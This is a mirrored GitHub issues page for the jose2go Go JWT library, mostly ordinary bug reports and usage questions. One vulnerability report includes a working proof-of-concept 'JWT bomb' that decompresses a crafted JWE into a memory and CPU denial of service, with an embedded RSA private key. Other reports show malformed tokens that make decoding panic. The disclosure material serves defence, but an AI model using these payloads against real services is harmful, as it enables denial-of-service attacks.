Giter Site home page Giter Site logo

dvsekhvalnov / jose2go Goto Github PK

View Code? Open in Web Editor NEW
183.0 16.0 27.0 471 KB

Golang (GO) implementation of Javascript Object Signing and Encryption specification

License: MIT License

Go 100.00%
jwt jose json jwa jwe jws jwt-authentication jwt-token jwt-auth openid

jose2go's People

Contributors

alexandrestein avatar bryant1410 avatar dvsekhvalnov avatar mpage23 avatar sj14 avatar telecoda avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jose2go's Issues

Go 1.15: broken PBSE2 KDF

Since Go 1.15 beta 1, the test suite fails with these errors:

Testing    in: /builddir/build/BUILD/jose2go-1.3/_build/src
         PATH: /builddir/build/BUILD/jose2go-1.3/_build/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/sbin
       GOPATH: /builddir/build/BUILD/jose2go-1.3/_build:/usr/share/gocode
  GO111MODULE: off
      command: go test -buildmode pie -compiler gc -ldflags " -X github.com/dvsekhvalnov/jose2go/version=1.3 -extldflags '-Wl,-z,relro -Wl,--as-needed  -Wl,-z,now -specs=/usr/lib/rpm/redhat/redhat-hardened-ld '"
      testing: github.com/dvsekhvalnov/jose2go
github.com/dvsekhvalnov/jose2go
invalid sign 'alg' header err= jwt.Decode(): required 'alg' header is missing or of invalid type
missing sign 'alg' header err= jwt.Decode(): required 'alg' header is missing or of invalid type
two phased err= Test error
invalid encrypt 'alg' header err= jwt.Decode(): required 'alg' header is missing or of invalid type
invalid encrypt 'enc' header err= jwt.Decode(): required 'enc' header is missing or of invalid type
missing encrypt 'alg' header err= jwt.Decode(): required 'alg' header is missing or of invalid type
missing encrypt 'enc' header err= jwt.Decode(): required 'enc' header is missing or of invalid type
----------------------------------------------------------------------
FAIL: jose_test.go:1588: TestSuite.TestDecrypt_PBSE2_HS256_A128KW_A128CBC_HS256
jose_test.go:1596:
    //then
    c.Assert(err, IsNil)
... value *errors.errorString = &errors.errorString{s:"aes.KeyUnwrap(): integrity check failed."} ("aes.KeyUnwrap(): integrity check failed.")
----------------------------------------------------------------------
FAIL: jose_test.go:1600: TestSuite.TestDecrypt_PBSE2_HS384_A192KW_A192CBC_HS384
jose_test.go:1608:
    //then
    c.Assert(err, IsNil)
... value *errors.errorString = &errors.errorString{s:"aes.KeyUnwrap(): integrity check failed."} ("aes.KeyUnwrap(): integrity check failed.")
----------------------------------------------------------------------
FAIL: jose_test.go:1612: TestSuite.TestDecrypt_PBSE2_HS512_A256KW_A256CBC_HS512
jose_test.go:1620:
    //then
    c.Assert(err, IsNil)
... value *errors.errorString = &errors.errorString{s:"aes.KeyUnwrap(): integrity check failed."} ("aes.KeyUnwrap(): integrity check failed.")

Any chance that you take a look at what causing these issues?

How to decode zip DEFLATE compression token?

I am trying to parse a RS256 encoded token from java, it could be successfully decoded by public key in java using the following java code

Jwts.parser().setSigningKey(publicKey).parseClaimsJws(jwt);

Moreover, It could be decoded by golang example described at https://github.com/dvsekhvalnov/jose2go

package main

import (
    "fmt"
    "io/ioutil"
    Rsa "github.com/dvsekhvalnov/jose2go/keys/rsa"
    "github.com/dvsekhvalnov/jose2go"
)

func main() {

    token := "eyJhbGciOiJSUzI1NiIsImN0eSI6InRleHRcL3BsYWluIn0.eyJoZWxsbyI6ICJ3b3JsZCJ9.NL_dfVpZkhNn4bZpCyMq5TmnXbT4yiyecuB6Kax_lV8Yq2dG8wLfea-T4UKnrjLOwxlbwLwuKzffWcnWv3LVAWfeBxhGTa0c4_0TX_wzLnsgLuU6s9M2GBkAIuSMHY6UTFumJlEeRBeiqZNrlqvmAzQ9ppJHfWWkW4stcgLCLMAZbTqvRSppC1SMxnvPXnZSWn_Fk_q3oGKWw6Nf0-j-aOhK0S0Lcr0PV69ZE4xBYM9PUS1MpMe2zF5J3Tqlc1VBcJ94fjDj1F7y8twmMT3H1PI9RozO-21R0SiXZ_a93fxhE_l_dj5drgOek7jUN9uBDjkXUwJPAyp9YPehrjyLdw"

    keyBytes, err := ioutil.ReadFile("public.key")

    if(err!=nil) {
        panic("invalid key file")
    }

    publicKey, e:=Rsa.ReadPublic(keyBytes)

    if(e!=nil) {
        panic("invalid key format")
    }

    payload, headers, err := jose.Decode(token, publicKey)

    if(err==nil) {
        //go use token
        fmt.Printf("\npayload = %v\n",payload)

        //and/or use headers
        fmt.Printf("\nheaders = %v\n",headers)
    }
} 

I just replaced access token string and public key file, it successfully decoded my token and got

payload = xڪVJ�(P�245��4��42�Q�M�MJ-�LQ�R
-�P�  �%��╗�}��|\]���{���lZ�R-   ��

headers = map[alg:RS256 zip:DEF]

I doubt the problem is more likely because of token payload is "zip DEFLATE compression".
But I only found example to generate a zip encrypted token, but no example to decode it.

Could anyone help me to decode zip DEFLATE compression token?

Any comment is highly appreciated.

Best regards,

Alan

Illegal token detection before jose.Decode()

Could I get a quick confirmation that in

token, err := jose.Encrypt(someString, jose.RSA_OAEP, jose.A256GCM, publicKey)

token is string and NOT base64?

I'm trying to see if there's a quick way to pre-disqualify a potentially malformed token BEFORE having to pay the price of doing

 j, err := jose.Decode(token, privateKey)

like you can with a base64 coded string:

 _, err := base64.StdEncoding.DecodeString(tokenString) 

for space/illegal chars/length=multiple of 4/etc.

Any ideas?

Constant overflows int while building Docker Notary

I am not sure if this is the right place to put this issue - if not, please point out which place would be better.

While building Docker Notary on an ARM server from Scaleway I did run in the following error which seems to be related to jose2go:

Step 25 : RUN set -x         && export GOPATH="$(mktemp -d)"         && git clone https://github.com/docker/notary.git "$GOPATH/src/github.com/docker/notary"         && (cd "$GOPATH/src/github.com/docker/notary" && git checkout -q "$NOTARY_COMMIT")         && GOPATH="$GOPATH/src/github.com/docker/notary/Godeps/_workspace:$GOPATH"                 go build -o /usr/local/bin/notary-server github.com/docker/notary/cmd/notary-server         && rm -rf "$GOPATH"
 ---> Running in deb681959e8f
+ mktemp -d
+ export GOPATH=/tmp/tmp.m4xF2nR3Qm
+ git clone https://github.com/docker/notary.git /tmp/tmp.m4xF2nR3Qm/src/github.com/docker/notary
Cloning into '/tmp/tmp.m4xF2nR3Qm/src/github.com/docker/notary'...
+ cd /tmp/tmp.m4xF2nR3Qm/src/github.com/docker/notary
+ git checkout -q 8e8122eb5528f621afcd4e2854c47302f17392f7
+ GOPATH=/tmp/tmp.m4xF2nR3Qm/src/github.com/docker/notary/Godeps/_workspace:/tmp/tmp.m4xF2nR3Qm go build -o /usr/local/bin/notary-server github.com/docker/notary/cmd/notary-server
# github.com/dvsekhvalnov/jose2go/kdf
tmp/tmp.m4xF2nR3Qm/src/github.com/docker/notary/Godeps/_workspace/src/github.com/dvsekhvalnov/jose2go/kdf/nist_sp800_56a.go:20: constant 4294967295 overflows int
tmp/tmp.m4xF2nR3Qm/src/github.com/docker/notary/Godeps/_workspace/src/github.com/dvsekhvalnov/jose2go/kdf/pbkdf2.go:23: constant 4294967295 overflows int
The command '/bin/sh -c set -x         && export GOPATH="$(mktemp -d)"         && git clone https://github.com/docker/notary.git "$GOPATH/src/github.com/docker/notary"         && (cd "$GOPATH/src/github.com/docker/notary" && git checkout -q "$NOTARY_COMMIT")         && GOPATH="$GOPATH/src/github.com/docker/notary/Godeps/_workspace:$GOPATH"                 go build -o /usr/local/bin/notary-server github.com/docker/notary/cmd/notary-server         && rm -rf "$GOPATH"' returned a non-zero code: 2

Is this a problem of jose2go or do I need to fix something else?

More information about the server, os, used go version, etc. can be found here: https://gist.github.com/Govinda-Fichtner/6a87a9ecba2abbce7412

Last character of a jose.Encrypt() token can be altered without detection during jose.Decode()?

Last char value can be changed without affecting decoding validity?
(:boom: chars added only for emphasis here.)

token0 : original

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00ifQ.Ti6wtju5sQW42t5antGh2Zf84GPF5QviG-eOXekxhBPhY4uke4gKH3IljS1AEyhPIHNgttjzo2SEIA7s0WTzReLT0t4u9oBtGiPyGFiDVuAVv0D7lFvws3npPy5IBgrOAqQpf1M6XAGnPanEE9DX-fMLTt8xuPIF0RjoF1cEtLc.GoPJbFfSYZwKDA2L.C0SY9sjQui9VfjhZRtI5jAdTLPu6HkqRJF1SllROv6vLrWVu9ElNKiL3KBhH4Hu7U-R2oPcpPeVrIccd1Q.Q_U_HxdpjD_PAP0Tpsqf0w

jose.Decode(token0, privateKey) ==> OK


token1 : Last character changed w -> x

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00ifQ.Ti6wtju5sQW42t5antGh2Zf84GPF5QviG-eOXekxhBPhY4uke4gKH3IljS1AEyhPIHNgttjzo2SEIA7s0WTzReLT0t4u9oBtGiPyGFiDVuAVv0D7lFvws3npPy5IBgrOAqQpf1M6XAGnPanEE9DX-fMLTt8xuPIF0RjoF1cEtLc.GoPJbFfSYZwKDA2L.C0SY9sjQui9VfjhZRtI5jAdTLPu6HkqRJF1SllROv6vLrWVu9ElNKiL3KBhH4Hu7U-R2oPcpPeVrIccd1Q.Q_U_HxdpjD_PAP0Tpsqf0:boom:x:boom:

jose.Decode(token1, privateKey) ==> OK


token2 : Last character changed w -> y

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00ifQ.Ti6wtju5sQW42t5antGh2Zf84GPF5QviG-eOXekxhBPhY4uke4gKH3IljS1AEyhPIHNgttjzo2SEIA7s0WTzReLT0t4u9oBtGiPyGFiDVuAVv0D7lFvws3npPy5IBgrOAqQpf1M6XAGnPanEE9DX-fMLTt8xuPIF0RjoF1cEtLc.GoPJbFfSYZwKDA2L.C0SY9sjQui9VfjhZRtI5jAdTLPu6HkqRJF1SllROv6vLrWVu9ElNKiL3KBhH4Hu7U-R2oPcpPeVrIccd1Q.Q_U_HxdpjD_PAP0Tpsqf0:boom:y:boom:

jose.Decode(token2, privateKey) ==> OK


token3 : Penultimate character changed 0 -> 2

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00ifQ.Ti6wtju5sQW42t5antGh2Zf84GPF5QviG-eOXekxhBPhY4uke4gKH3IljS1AEyhPIHNgttjzo2SEIA7s0WTzReLT0t4u9oBtGiPyGFiDVuAVv0D7lFvws3npPy5IBgrOAqQpf1M6XAGnPanEE9DX-fMLTt8xuPIF0RjoF1cEtLc.GoPJbFfSYZwKDA2L.C0SY9sjQui9VfjhZRtI5jAdTLPu6HkqRJF1SllROv6vLrWVu9ElNKiL3KBhH4Hu7U-R2oPcpPeVrIccd1Q.Q_U_HxdpjD_PAP0Tpsqf:boom:2:boom:w

jose.Decode(token3, privateKey) ==> cipher: message authentication failed


token4 : 1 character in the middle changed S -> X

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00ifQ.Ti6wtju5sQW42t5antGh2Zf84GPF5QviG-eOXekxhBPhY4uke4gKH3IljS1AEyhPIHNgttjzo2:boom:X:boom:EIA7s0WTzReLT0t4u9oBtGiPyGFiDVuAVv0D7lFvws3npPy5IBgrOAqQpf1M6XAGnPanEE9DX-fMLTt8xuPIF0RjoF1cEtLc.GoPJbFfSYZwKDA2L.C0SY9sjQui9VfjhZRtI5jAdTLPu6HkqRJF1SllROv6vLrWVu9ElNKiL3KBhH4Hu7U-R2oPcpPeVrIccd1Q.Q_U_HxdpjD_PAP0Tpsqf0w

jose.Decode(token4, privateKey) ==> http: panic serving [::1]:53001: illegal base64 data at input byte 20


token5 : Last character changed w -> <-- {EMPTY}

eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00ifQ.Ti6wtju5sQW42t5antGh2Zf84GPF5QviG-eOXekxhBPhY4uke4gKH3IljS1AEyhPIHNgttjzo2SEIA7s0WTzReLT0t4u9oBtGiPyGFiDVuAVv0D7lFvws3npPy5IBgrOAqQpf1M6XAGnPanEE9DX-fMLTt8xuPIF0RjoF1cEtLc.GoPJbFfSYZwKDA2L.C0SY9sjQui9VfjhZRtI5jAdTLPu6HkqRJF1SllROv6vLrWVu9ElNKiL3KBhH4Hu7U-R2oPcpPeVrIccd1Q.Q_U_HxdpjD_PAP0Tpsqf0:boom:

jose.Decode(token5, privateKey) ==> http: panic serving [::1]:52959: illegal base64 data at input byte 20

Getting error expected key of size 256 bits, but was given 344 bits

Hi,
I am trying to implement your code with a shareed key that we are generating through our KMS System.
But I get the below error:
AesGcm.Encrypt(): expected key of size 256 bits, but was given 344 bits.
Here is the code below
func encrypt(){
payload := "[email protected]"
keyBytes := []byte("8EGQNuDdLuiqqcQDrkBOLHcysp0Ans1R1PT5qM5_VP8")

if(keyBytes==nil) {
	panic("invalid key format")
}
//fmt.Println(keyBytes)

token,err := jose.Encrypt(payload, jose.DIR, jose.A256GCM, keyBytes)
fmt.Print(err)
if(err==nil) {
    //go use token
    fmt.Printf("\nDIR A256GCM = %v\n",token)
}

}

func main(){
encrypt()
}

Can you please tell me how to fix this issue with this library?

Tag for 1.2?

The readme mentions that 1.2 is the current version, but there isn't a tag for it -- is that just referring to that being the "in development" version, or was the tag simply an oversight? 😄

decode but not vertify

in python

i can just use jwt.decode(payload) without key, this will just decode and will vertify payload.

how i can do this in jose2go?

Missing tag for 1.4 and 1.5

Hi, the README says "Current version is 1.5." However there's no such tag. Would you mind to create a tag?

Panic on jwt/jws verify/decrypt with bad JSON headers

It is possible to make the jose.Decode call panic with a JSON header that's badly formatted.

Take this input:

    parts := []string{}
    for i := 0; i < 3; i++ {
        parts = append(parts, base64url.Encode([]byte(`{"something": 2}`)))
    }
        secret = strings.Join(parts, ".")
        _, err := jose.Decode(secret, publicKey)

It will cause

goroutine 16 [running]:
testing.func·006()
    /usr/local/go/src/testing/testing.go:441 +0x181
github.com/dvsekhvalnov/jose2go.verify(0xc2081088c0, 0x3, 0x3, 0x9fb3c0, 0xc20811c340, 0x0, 0x0, 0xc20811c340, 0x0, 0x0)
    /home/michal/Private/code/go/src/github.com/dvsekhvalnov/jose2go/jose.go:303 +0x376


github.com/dvsekhvalnov/jose2go.Decode(0xc208108870, 0x44, 0x9fb3c0, 0xc20811c340, 0x0, 0x0, 0xc208105d20, 0x0, 0x0)
    /home/michal/Private/code/go/src/github.com/dvsekhvalnov/jose2go/jose.go:248 +0x126

Similarly for decrypt method.

The extraction of header values needs validation and error handling.

[Vuln] JWT bomb Attack in decode function

JWT bomb Attack in decode function

0x01 Affected version

vendor: https://github.com/dvsekhvalnov/jose2go

version: Versions prior to v1.6.0 are vulnerable.

0x02 What kind of vulnerability is it? Who is impacted?

This vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.

0x03 Vulnerability details

The Proof of Concept (PoC) below demonstrates how this vulnerability can lead to a DoS attack:

package main

import (
	"crypto/rsa"
	"encoding/json"
	"fmt"
	jose "github.com/dvsekhvalnov/jose2go"
	Rsa "github.com/dvsekhvalnov/jose2go/keys/rsa"
	"strings"
	"time"
)

var pubKey = `-----BEGIN CERTIFICATE-----
MIICnTCCAYUCBEReYeAwDQYJKoZIhvcNAQEFBQAwEzERMA8GA1UEAxMIand0LTIw
NDgwHhcNMTQwMTI0MTMwOTE2WhcNMzQwMjIzMjAwMDAwWjATMREwDwYDVQQDEwhq
d3QtMjA0ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKhWb9KXmv45
+TKOKhFJkrboZbpbKPJ9Yp12xKLXf8060KfStEStIX+7dCuAYylYWoqiGpuLVVUL
5JmHgXmK9TJpzv9Dfe3TAc/+35r8r9IYB2gXUOZkebty05R6PLY0RO/hs2ZhrOoz
HMo+x216Gwz0CWaajcuiY5Yg1V8VvJ1iQ3rcRgZapk49RNX69kQrGS63gzj0gyHn
Rtbqc/Ua2kobCA83nnznCom3AGinnlSN65AFPP5jmri0l79+4ZZNIerErSW96mUF
8jlJFZI1yJIbzbv73tL+y4i0+BvzsWBs6TkHAp4pinaI8zT+hrVQ2jD4fkJEiRN9
lAqLPUd8CNkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAnqBw3UHOSSHtU7yMi1+H
E+9119tMh7X/fCpcpOnjYmhW8uy9SiPBZBl1z6vQYkMPcURnDMGHdA31kPKICZ6G
LWGkBLY3BfIQi064e8vWHW7zX6+2Wi1zFWdJlmgQzBhbr8pYh9xjZe6FjPwbSEuS
0uE8dWSWHJLdWsA4xNX9k3pr601R2vPVFCDKs3K1a8P/Xi59kYmKMjaX6vYT879y
gWt43yhtGTF48y85+eqLdFRFANTbBFSzdRlPQUYa5d9PZGxeBTcg7UBkK/G+d6D5
sd78T2ymwlLYrNi+cSDYD6S4hwZaLeEK6h7p/OoG02RBNuT4VqFRu5DJ6Po+C6Jh
qQ==
-----END CERTIFICATE-----`

var privKey = `-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqFZv0pea/jn5Mo4qEUmStuhlulso8n1inXbEotd/zTrQp9K0
RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO/0N97dMBz/7fmvyv0hgHaBdQ
5mR5u3LTlHo8tjRE7+GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxG
BlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8
/mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu/ve0v7LiLT4G/OxYGzpOQcC
nimKdojzNP6GtVDaMPh+QkSJE32UCos9R3wI2QIDAQABAoIBAQCUmHBvSkqUHaK/
IMU7q2FqOi0KWswDefEiJKQhRu9Wv5NOgW2FrfqDIXrDp7pg1dBezgeExHLX9v6d
FAOTwbj9/m6t3+r6k6fm7gp+ao3dfD6VgPd12L2oXQ0t5NVQ1UUBJ4/QUWps9h90
3AP4vK/COG1P+CAw4DDeZi9TlwF/Pr7e492GXcLBAUJODA6538ED2nYw8xQcbzbA
wr+w07UjRNimObtOfA0HCIpsx/6LkIqe6iGChisQNgt4yDd/fZ4GWOUIU1hqgK1P
6avVl7Q5Mk0PTi9t8ui1X4EEq6Uils45J5WkobuAnFkea/uKfs8Tn9bNrEoVWgdb
fBHq/8bNAoGBANKmjpE9e+L0RtxP+u4FN5YDoKE+i96VR7ru8H6yBKMcnD2uf5mV
RueEoL0FKHxlGBBo0dJWr1AIwpcPbTs3Dgx1/EQMZLg57QBZ7QcYETPiMwMvEM3k
Zf3G4YFYwUwIQXMYPt1ckr+RncRcq0GiKPDsvzzyNS+BBSmR5onAXd7bAoGBAMyT
6ggyqmiR/UwBn87em+GjbfX6YqxHHaQBdWwnnRX0JlGTNCxt6zLTgCIYxF4AA7eR
gfGTStwUJfAScjJirOe6Cpm1XDgxEQrT6oxAl17MR/ms/Z88WrT73G+4phVvDpVr
JcK+CCESnRI8xGLOLMkCc+5NpLajqWCOf1H2J8NbAoGAKTWmTGmf092AA1euOmRQ
5IsfIIxQ5qGDn+FgsRh4acSOGE8L7WrTrTU4EOJyciuA0qz+50xIDbs4/j5pWx1B
JVTrnhBin9vNLrVo9mtR6jmFS0ko226kOUpwEVLgtdQjobWLjtiuaMW+/Iw4gKWN
ptxZ6T1lBD8UWHaPiEFW2+MCgYAmfSWoyS96YQ0QwbV5TDRzrTXA84yg8PhIpOWc
pY9OVBLpghJs0XlQpK4UvCglr0cDwGJ8OsP4x+mjUzUc+aeiKURZSt/Ayqp0KQ6V
uIlCEpjwBnXpAYfnSQNeGZVVrwFFZ1VBYFNTNZdLmRcxp6yRXN7G1ODKY9w4CFc3
6mHsxQKBgQCxEA+KAmmXxL++x/XOElOscz3vFHC4HbpHpOb4nywpE9vunnHE2WY4
EEW9aZbF22jx0ESU2XJ1JlqffvfIEvHNb5tmBWn4HZEpPUHdaFNhb9WjkMuFaLzh
cydwnEftq+3G0X3KSxp4p7R7afcnpNNqfneYODgoXxTQ4Q7ZyKo72A==
-----END RSA PRIVATE KEY-----`

func PubKey() *rsa.PublicKey {
	key, _ := Rsa.ReadPublic([]byte(pubKey))
	return key
}

func PrivKey() *rsa.PrivateKey {
	key, _ := Rsa.ReadPrivate([]byte(privKey))
	return key
}

func main() {

	strU := strings.Repeat("U", 400000000)
	strUU := strings.Repeat("U", 100000000)

	payloadMap := map[string]string{
		"U":  strU,
		"UU": strUU,
	}

	payloadBytes, err := json.Marshal(payloadMap)
	if err != nil {
		fmt.Println("Error marshaling payload to JSON:", err)
		return
	}

	payload := string(payloadBytes)

	test, _ := jose.Encrypt(payload, jose.RSA_OAEP, jose.A256GCM, PubKey(), jose.Zip(jose.DEF))
	fmt.Println("Compression String Length", len(test))

	fmt.Println("Measuring time:")
	start := time.Now()
	t, _, _ := jose.Decode(test, PrivKey())
	fmt.Println("Test Zip", len(t))
	timeElapsed := time.Since(start)
	fmt.Printf("The `decode` took %s", timeElapsed)
}

This vulnerability is demonstrated by comparing the processing times of a compressed token to an uncompressed token of the same length. The compressed token's processing time is significantly higher, showcasing the vulnerability's potential impact.

img_1

Code related to the vulnerability is located at jose.go

					if zip, compressed := jwtHeader["zip"].(string); compressed {

						if zipAlg, ok = jwcCompressors[zip]; !ok {
							return nil, nil, errors.New(fmt.Sprintf("jwt.decrypt(): Unknown compression algorithm '%v'", zip))
						}

						plainBytes = zipAlg.Decompress(plainBytes)
					}

					return plainBytes, jwtHeader, nil
				}

0x04 Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.

0x05 References

[1] CVE-2024-21319

go get command fails

The go get command fails with the following errors.

$ go get github.com/dvsekhvalnov/jose2go
package jose2go/aes: unrecognized import path "jose2go/aes"
package jose2go/arrays: unrecognized import path "jose2go/arrays"
package jose2go/base64url: unrecognized import path "jose2go/base64url"
package jose2go/compact: unrecognized import path "jose2go/compact"
package jose2go/kdf: unrecognized import path "jose2go/kdf"
package jose2go/keys/ecc: unrecognized import path "jose2go/keys/ecc"
package jose2go/padding: unrecognized import path "jose2go/padding"

This most likely is due to using the short path jose2go/arrays for importing subpackages instead of the full path github.com/dvsekhvalnov/jose2go/arrays

Magic panic on Decode()

I don't understand the magic panic on Decode()
I have 2 jwt keys with equals structure:

The First key is OK (decode without panic error):

eyJhbGciOiJIUzI1NiIsImV4cGlyZSI6MTQ2Mjk2MzczNiwidHlwIjoiSldUIn0.eyJpZCI6MSwicHJvdmlkZXIiOiJlbWFpbCIsImFjY2VzcyI6bnVsbH0.d9RmVg-_ZApjodPiBUXxuS7qRrO0dc5i7cMj1THWln0

But second one ("expire date" header is changed only) make Panic:

eyJhbGciOiJIUzI1NiIsImV4cGlyZSI6MTQ2Mjk1OTM1NiwidHlwIjoiSldUIn0.eyJpZCI6MSwicHJvdmlkZXIiOiJlbWFpbCIsImFjY2VzcyI6bnVsbH0.ktTgHtd_jXUIP3LprcxPjYpZAn9HhyiQviOjmuwiHVI.eyJpZCI6MSwicHJvdmlkZXIiOiJlbWFpbCIsImFjY2VzcyI6bnVsbH0.xKoTn8vaWy2VcP7pGx42ynImFPt64L1tgbZknDz8-ek

it looks like:

panic: interface conversion: interface is nil, not string
Stack trace:
goroutine 34 [running]:
runtime/debug.Stack(0x0, 0x0, 0x0)
    /usr/local/go/src/runtime/panic.go:426 +0x4e9
github.com/dvsekhvalnov/jose2go.decrypt(0xc82017a700, 0x5, 0x5, 0x414100, 0xc820172b20, 0x0, 0x0, 0x107, 0x0, 0x0)
    /Volumes/future.go/src/github.com/dvsekhvalnov/jose2go/jose.go:330 +0x3ec
github.com/dvsekhvalnov/jose2go.Decode(0xc82019cfc0, 0x107, 0x414100, 0xc820172b20, 0x0, 0x0, 0xc8201981e0, 0x0, 0x0)
    /Volumes/future.go/src/github.com/dvsekhvalnov/jose2go/jose.go:252 +0x185
main.(*Token).parse(0xc8201981e0, 0xc82019cc60, 0x107, 0x120, 0xc820157768)

Please help me to understand this magic!
I check both keys here https://jwt.io all is valid

I try to handle the error but all point to Decode() function

My decode block looks like this:
data, headers, err := jose.Decode(string(token), jwtSecretKey)

Nobody loves panic errors and I have to understand the problem.
Thank you for any help!

Remove the base64url package

Hello,

I'm not using this lib at all but came here from godoc. I think your base64url package functionality is already covered by RawURLEncoding (url encoding without padding) from the standard encoding/base64 package.

Have a nice day :)

Security vulnerabilities

To solve some problems of security related here, I think this is important:

jose.Decode(token, publicKey) ==>> jose.Decode(token, Algorithm, publicKey)

GCM - PANIC - incorrect nonce length

The package panics if you provide a fake token where you change the length of the third section.

I made a very simple example using the GCM example in the README.
I removed one char from FePGIeMhhwVBPGLV which is the the third section.

sharedKey := []byte{194, 164, 235, 6, 138, 248, 171, 239, 24, 216, 11, 22, 137, 199, 215, 133}
fakeToken := "eyJhbGciOiJBMTI4R0NNS1ciLCJlbmMiOiJBMTI4R0NNIiwiaXYiOiItMTBMX3E4aVRPNlpuZ3Y4IiwidGFnIjoiUzlwSUZSV2hzOEp3djJ3VE82OF9vUSJ9.u5t1-HXQkDuSQfsz0sSV-g.FePGIeMhhwVBPGV.ciJXdFyuQ5ZiJUC-uPPigxa3._WG5rSsOxkujn_fzYvDp0Q"
jose.Decode(fakeToken, sharedKey)

This returns:

panic: cipher: incorrect nonce length given to GCM

goroutine 1 [running]:
crypto/aes.(*gcmAsm).Open(0xc4200a6a20, 0x0, 0x0, 0x0, 0xc42001a480, 0xb, 0xc, 0xc42001c390, 0x22, 0x30, ...)
	/usr/lib/go/src/crypto/aes/aes_gcm.go:137 +0x5c3
...
exit status 2

I believe checking the length before submitting to crypto/aes.Open would solve this.

Decryption of Nimbus JWE using RSA 4096 bit fails

I have an encrypted and signed JWE that was produced by Nimbus using 4096 bit RSA keys doing RSA_OAEP_256 with A128GCM. The signature is RS256. Using Nimbus I can decrypt and validate the signature. Using this I get a "crypto/rsa: decryption error" which is quite vague. What isn't clear to me is if there is a way to decrypt a JWE instead of a JWT. What is encrypted is arbitrary JSON and doesn't conform to the JWT specification (as that isn't my goal).

Decode without verifying

It sounds weird, but I'm wondering whether it is possible to decode the token without verifying. My scenario is like this. I keep a map of user_id and their keys on the server, so I need to decode the token to get the user_id first, and look up their key to verify it later.

Currently the Decode function will not decode the token when a key is not provide or is incorrect. I'm hoping it will still decode the token, but return the key error separately. Think about the client can decode the token without the key.

Possible to get token.Header["alg"] for JWT vulnerability?

How does one check to make sure the token returned in the Authorization Bearer from the browser is not set to "none"? Something like this:

token := r.Header.Get("Authorization")[7:]

keyBytes, err := ioutil.ReadFile("file/path/to/privateKey")
 if err != nil {
     panic("invalid key file")
}

 privKey, e := Rsa.ReadPrivate(keyBytes)
 if e != nil {
     panic("invalid key format")
}

 j, err := jose.Decode(token, privKey)

 fmt.Println(j.Header["alg"]) // <-- Want to check for algo = "" vulnerability here

Or if the token header is:
{
"alg": "RSA-OAEP",
"enc": "A256GCM"
}
we don't have yo worry about the JWT alg:none problem?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.